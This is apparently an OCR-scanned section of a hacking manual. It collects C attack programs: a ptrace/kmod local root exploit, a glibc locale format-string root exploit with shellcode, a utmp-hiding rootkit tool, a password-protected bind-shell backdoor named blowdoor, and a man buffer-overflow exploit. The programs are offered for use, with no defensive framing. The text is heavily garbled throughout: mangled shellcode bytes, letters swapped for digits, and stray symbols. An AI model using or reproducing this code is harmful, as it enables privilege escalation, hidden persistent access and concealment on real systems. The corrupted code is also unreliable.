errno = 0,
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);

} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)
fatal("[-] Unable to stat myself”);

alarm(0);

system(progname );
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void prepare(void)
{
if (geteuid() == 0) {

initgroups("root”, 0);
setgid(0);
setuid(0);
execl( PATH_BSHELL, PATH BSHELL, NULL);
fatal("[-] Unable to spawn shell”);

int main(int argc, char ** argv)

{
prepare();
signal (SIGALRM, sigalrm);
alarm(10);

parent = getpid();
child = fork();

victim = child + 1;

if (child == -1)
fatal("[-] Unable to fork”);

if (child == 0)
do_child();
else

do_parent(argv[0]);

return O;

}//end program Linux kernel ptrace/kmod local root exploit



Tusunsa local root exploit for the glibc / locale format string bug.

#include <stdlib.h>
#include <stdio.h>

#include <unistd.h>

#define DEFAULT_OFFSET 550
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC Oxbfffd250
#define DEFAULT_BUFFER_SIZE 2048
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90

#define PATH "/tmp/LC_MESSAGES”

char shellcode[] =

"xeb\x 1H\x5e\x8 9\x 7 6\x 08\x 3 1\xcO\x 8 8\x 4 6\x 0 7\x 8 9\x 4 6\x 0c\xbO\x Ob”
x8 Nxf3\x8d\x4e\x 08\x8d\x 5 6\xOc\xcd\x 8 0\x 3 1\xdb\x 8 N\xd 8\x4 O\xcd"”

"\x8 0\xe 8\xdc\x fi\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

main(int argc, char *argv[]) {

char *buff, *buffl, *ptr, *egg;

char *env[3];

long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;

int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;

int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;

int i,reth,retl,num=111;

FILE *fp;
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if (argc > 1) sscanf(argv[1],"%x" ,&retloc);
if (arge > 2) offset = atoi(argv[2]);

if (argc > 3) num = atoi(argv[3]);

if (argc > 4) align = atoi(argv[4]);

if (argc > 5) bsize = atoi(argv[5]);

if (argc > 6) eggsize = atoi(argv([6]);

printf("Usages: %s <RETloc> <offset> <num> <align> <buffsize> <eggsize> \n",argv[0]);

if (!(buff = malloc(eggsize))) {
printf("Can’t allocate memory.\n");

exit(0);

if (!(buffl = malloc(bsize))) {
printf("Can’t allocate memory.\n");

exit(0);

if (!(egg = malloc(eggsize))) {
printf("Can’t allocate memory.\n");

exit(0);

printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset;
printf("Using Shellcode address: 0x%x\n", shell_addr);

reth = (shell_addr >> 16) & Oxffff ;
retl = (shell_addr >> 0) & OXxffff ;
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ptr = buff;

for (i = 0;1<2 ;i++, retloc+=2 ){
memset(ptr,’A’,4);
ptr += 4 ;
(*ptr++) = retloc & Oxff;
(*ptr++) = (retloc >> 8 ) & Oxff ;
(*ptr++) = (retloc >> 16 ) & Oxff ;
(*ptr++) = (retloc >> 24 ) & Oxff ;

memset(ptr,’A’,align);
ptr = buffl;

for(i=0;i<num;i++ )

{
memcpy(ptr, "%.8x", 4);
ptr += 4;

sprintf(ptr, "% %X% %%uc%%hn%%%uc%%hn",(retl - num*8), (0x10000 + reth - retl
- 6));

mkdir(PATH,0755);

chdir(PATH);

fp = fopen("libc.po”, "w+");

fprintf(fp, msgid \"%%s: invalid option -- %%c\n\"\n");
fprintf(fp, msgstr \"%s\n\"", buff1);

fclose(fp);

system(” /usr/bin/msgfmt libc.po -o libc.mo");

ptr = egg;



for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = SheHCOde[i];
eggleggsize - 1] = \0;

memcpy(egg, "EGG=", 4);

env[0] = egg ;

env[1] = "LANGUAGE=sk_SK/..7../../../../../tmp";
env[2] = (char *)O0 ;

execle(”/bin/su”,”su”,”-u", buff, NULL,env);

} //end program local root exploit for the glibc / locale format string bug.
2.3 ghadlUsunIuNgs miscellany

TUsunsa hide.c (rootkit)
#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>

#include <pwd.h>
#define UTMPFILE “/etc/utmp”

FILE *utmpfile;
char  *utmp_tmp[10240];

main (argc, argv)
int  argc;

char *argv[];
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struct utmp  *user_slot;
struct passwd *pwd;
char line[10], name[10], host[20];

int  index;

printf ("Welcome to HIDE ! FORMAT: hide [-i]\o\n");
utmpfile = fopen (UTMPFILE, "r+");
if (utmpfile == NULL)
{
printf ("ERROR while opening utmp file... exiting...\n");
exit ();

}
index = ttyslot(); /* Get this users utmp index */

index *= sizeof(struct utmp); /* 36 */

fseek (utmpfile, index, 0);

/*¥*FR% - Get real UID ****/
pwd = getpwuid (getuid());
if (pwd == NULL)
printf ("Who the hell are you???");
else
{
printf ("Real user identity:\n");
printf ("NAME 9%s\n", pwd->pw_name);
printf (" UID %d\n", pwd->pw_uid);
printf (" GID %d\n\n", pwd->pw_gid);

7*¥F%* If ARG1 = "-i" then disappear from utmp ****/
if ( (arge>1) && (!stremp(argv[1], "=i")) )
{
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index+=8; /* Rel PNT name */

fseek (utmpfile, index, 0);

fwrite (000", 8, 1, utmpfile); /* NO NAME */
fwrite (000", 8, 1, utmpfile); /* NO HOST */
fclose(utmpfile);

printf ("Removed from utmp\n”);

exit();

/*¥**%* Change utmp data ****/
printf ("Enter new data or return for default:\n");
fseek (utmpfile, index, 0); /* Reset file PNT */
fread(line, 8, 1, utmpfile); line[8]=NULL;
fread(name, 8, 1, utmpfile); name[8]=NULL;
fread(host, 16, 1, utmpfile); host[16]=NULL;
fseek (utmpfile, index, 0); /* Reset file PNT */
dinput (" TTY [%s]%s", line, 8);
dinput ("NAME [%s5]%s", name, 8);
dinput ("HOST [%s]%s", host, 16);

fclose(utmpfile);

/* Data input */

dinput (prompt, string, size)
char  *prompt;
char  *string;

int  size;
char  input[80];

char  *stat;

char  space[] =" ”

space[20-strlen(string)] = \000';
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printf (prompt, string, space);
stat = gets (input);
if (strlen(input) > 0)
fwrite (input, size, 1, utmpfile);
else
fseek (utmpfile, size, 1);

}//end program hide.c
Tusunsa blowdoor v2.0 (backdoor)

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <signal.h>

#define port 2424 // port to listen

#define term  "/bin/sh” // program to run

#define logs  "/dev/null” // dir of logs

#define pass  "61c8ec8adff5d92791f1b9308d7bef9f” // password encrypted with
md5sum

#define proc  "-bash” // hidden syntax

// thx for idea INAX.C =)
#define GETS(esp) gets(esp); esp[strlen(esp) -1] = \0’;

#define B 1024

char a[36];



static void bala(const char *b, int dodnet2) { if (!stremp(b, "exit")) { exit(0); } if
(!strncmp(b, “cd ”, 3)) { if (chdir(b +3) < 0) perror(“chdir”); return ; } else {

system(b); } }

// retirado da md5 -inicio

mdpass(char *aa)

{

}

FILE *temp;
char mps[1024];

snprintf(mps, 1024, "/bin/echo -n %sl/usr/bin/md5sum”, aa);

temp = popen(mps, "1);
memset(a, 0, 36);
fread(a, 32, 1, temp);
fclose(temp);

return a;

int main (int argc, char *argv([]) {

int dodnet, dodnet2, size;
struct sockaddr_in local;
struct sockaddr_in remote;

char cmd[256];

strcpy (argv[0], proc);
signal (SIGCHLD, SIG_IGN);

bzero (&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons (port);
local.sin_addr.s_addr = INADDR_ANY;
bzero (&(local.sin_zero), 8);
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if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket”);
exit(1); }

if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror("bind"); exit(1); }

if (listen(dodnet, 5) == -1) { perror(“listen”); exit(1); }

size = sizeof(struct sockaddr_in);

forkpid();

while (1) {
if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -
1) { perror ("accept”); exit(1); }
if (Mfork ()) {

char check[15], username[15];
int i;

"

send (dodnet2, "username: ”, sizeof("username: "), 0);

recv (dodnet2, username, sizeof(username), 0);

send (dodnet2, "password: ”, sizeof("password: "), 0);

recv (dodnet2, check, sizeof(check), 0);

for (i = 0; i < strlen (check); i++) {
if (check[i] == \n’ Il check[i] == ') {
check[i] = \0';

}
for (i = 0; i < strlen (username); i++) {
if (username[i] == \n’ Il username[i] == \r')

usernamel[i] = \0';
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if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2,
check, username); }
else { getshell(dodnet2, username, dodnet); }
}
else {
signal (SIGCHLD, SIG_IGN); close(dodnet2); }
}
close (dodnet2);
exit(0);

forkpid() {

int pid;

Signal(SIGCHLD,SIG_IGN);
pid = fork();

if(pid>0) {

sleep(1);
exit(EXIT_SUCCESS);

if(pid == 0) {
signal(SIGCHLD,SIG_DFL);
return getpid();

}

return —1;

fuckoff(int dodnet2, char *tentou, char *identifica) {
FILE *aa;
char a[B];
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signal(SIGCHLD,SIG_IGN);

aa=fopen(logs,"a+");

sprintf(a,”date>>%s",logs);

system(a);

fprintf(aa,”IDENTIFICOU-SE COMO: %s" identifica);

fprintf(aa, \m"OCORRIDO: SENHA INCORRETAW");
fprintf(aa," TENTATIVA DE SENHA: %s" tentou );
fprintf(aa,\n--------—-—————————————- \n");

fclose(aa);

close (dodnet2);

exit(0);

getshell(int dodnet2, char *identifica) {
FILE *aa;
char a[B];
char b[BUFSIZ];

aa=fopen(logs,"a+");
sprintf(a,”date>>%s",logs);

system(a);

fprintf(aa,"IDENTIFICOU-SE COMO: %s" ,identifica);
fprintf(aa, \nOCORRIDO: ACESSO CONCEDIDOW");
fprintf(aa,\n------------—-————————- \n");

fclose(aa);
close(0);
close(1);
close(2);
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dup2 (dodnet2, 0);
dup2(dodnet2, 1);
dup2(dodnet2, 2);

for(;;) {
printf("bash# ");
GETS(b);
bala(b,dodnet2);
fflush(stdout);

}
}//end program blowdoor v2.0

Tusunsa agroMANauer.c

//man bug allows privileges elevation
#include <stdio.h>

#define BUF_SIZE 5000

#define POS_RET 3500

#define RETADDR Oxbfffefef

// shellcode

char shellcode[] = // 48 caracteres
"\xeb\x 2 2\x 5e\x 8 M\xf3\x 8 I\xf7\x 8 3\xc T\x 0 7\x 3 1\xcO\xaa"
"\x8 I\xfI\x 8 I\xfO\xab\x 8 P\xfa\x 3 1\xcO\xab\xbO\x 0 8\x 04"
"\x0 3\xcd\x 8 0\x 3 1\xdb\x 8 N\xd 8\x 4 O\xcd\x 8 O\xe 8\xd 9\x ft”
xff\xff/bin/sh";

main (int argc, char *argv[]) {
int i;

FILE *f;

char buf[BUF_SIZE];

long retaddr, offset;
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printf ("\n");

printf (”****************************************\n”);
printf ("* agroMANauer (linux man exploit) *\n");

printf ("* by buterfree@lettera.net 2000 * \n");

printf (”**************************************** \Il\rl”);
printf ("Try offsets -3000,0,3000,...\n");

printf ("Use : %s [offset] \n", argv[0]);

offset = 0;
if (arge>1) {
offset = atol (argv[1]);
}
retaddr = RETADDR + offset;
printf ("Return Address = 0x%3x \n",retaddr);

// Fill buffer with NOP’s
memset (buf, 0x90, BUF_SIZE);
buf[BUF_SIZE]=0;

// Copy Return Address

for (i=POS_RET; i<=BUF_SIZE-10; i+=4) |
*(long*)(buf+i) = (long) retaddr;

}

// Copy shellCode

for (i=0; i<strlen(shellcode); i++) {
buf[i+POS_RET-strlen(shellcode)-20] = shellcode[i];

}

// Export TERMCAP
setenv ("MANPAGER’, buf, 1);

// Run program
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execl ("/usr/bin/man”,"man”,”ls”,NULL);

}// end program agroMANauer.c



